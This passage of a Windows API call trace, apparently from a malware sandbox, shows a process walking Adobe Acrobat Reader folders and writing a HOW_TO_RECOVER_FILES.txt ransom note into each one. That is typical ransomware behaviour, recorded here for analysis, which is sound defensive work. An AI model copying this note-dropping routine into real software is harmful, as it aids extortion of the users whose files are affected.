(x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7d [0103.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea790) returned 1 [0103.338] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\core\\dev\\cef\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6bc [0103.338] GetFileType (hFile=0x6bc) returned 0x1 [0103.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea700) returned 1 [0103.339] GetFileType (hFile=0x6bc) returned 0x1 [0103.339] WriteFile (in: hFile=0x6bc, lpBuffer=0x3613be0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdea858, lpOverlapped=0x0 | out: lpBuffer=0x3613be0*, lpNumberOfBytesWritten=0x1fdea858*=0x5d0, lpOverlapped=0x0) returned 1 [0103.340] CloseHandle (hObject=0x6bc) returned 1 [0103.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0103.340] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs", lpFilePart=0x0) returned 0x65 [0103.340] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.341] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.341] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0103.341] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0103.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0103.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0103.341] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs", lpFilePart=0x0) returned 0x65 [0103.341] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.341] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.342] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0103.342] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0103.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0103.342] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdea270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7e [0103.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea790) returned 1 [0103.342] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\core\\dev\\libs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6bc [0103.343] GetFileType (hFile=0x6bc) returned 0x1 [0103.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea700) returned 1 [0103.343] GetFileType (hFile=0x6bc) returned 0x1 [0103.343] WriteFile (in: hFile=0x6bc, lpBuffer=0x36255a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdea858, lpOverlapped=0x0 | out: lpBuffer=0x36255a8*, lpNumberOfBytesWritten=0x1fdea858*=0x5d0, lpOverlapped=0x0) returned 1 [0103.344] CloseHandle (hObject=0x6bc) returned 1 [0103.344] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeaca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x79 [0103.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb1c0) returned 1 [0103.344] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\core\\dev\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6bc [0103.345] GetFileType (hFile=0x6bc) returned 0x1 [0103.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb130) returned 1 [0103.345] GetFileType (hFile=0x6bc) returned 0x1 [0103.345] WriteFile (in: hFile=0x6bc, lpBuffer=0x3628ee0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdeb288, lpOverlapped=0x0 | out: lpBuffer=0x3628ee0*, lpNumberOfBytesWritten=0x1fdeb288*=0x5d0, lpOverlapped=0x0) returned 1 [0103.346] CloseHandle (hObject=0x6bc) returned 1 [0103.347] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fdeb6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x75 [0103.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebbf0) returned 1 [0103.347] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\css\\core\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6bc [0103.347] GetFileType (hFile=0x6bc) returned 0x1 [0103.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb60) returned 1 [0103.347] GetFileType (hFile=0x6bc) returned 0x1 [0103.348] WriteFile (in: hFile=0x6bc, lpBuffer=0x362c808*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fdebcb8, lpOverlapped=0x0 | out: lpBuffer=0x362c808*, lpNumberOfBytesWritten=0x1fdebcb8*=0x5d0, lpOverlapped=0x0) returned 1 [0103.348] CloseHandle (hObject=0x6bc) returned 1 [0103.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 1 [0103.349] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files", lpFilePart=0x0) returned 0x5d [0103.349] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.596] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.596] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0103.596] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 0 [0103.596] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0103.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0103.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdebc80) returned 1 [0103.596] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files", lpFilePart=0x0) returned 0x5d [0103.597] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0103.597] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.597] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0103.597] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.597] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0103.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0103.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0103.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 [0103.598] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev", lpFilePart=0x0) returned 0x61 [0103.598] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.598] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.598] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef", cAlternateFileName="")) returned 1 [0103.598] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0103.598] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0103.599] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0103.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0103.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 [0103.599] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev", lpFilePart=0x0) returned 0x61 [0103.599] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.599] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.599] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef", cAlternateFileName="")) returned 1 [0103.599] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0103.599] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.600] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0103.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0103.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0103.600] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef", lpFilePart=0x0) returned 0x65 [0103.600] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.600] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.601] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0103.601] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0103.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0103.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0103.601] 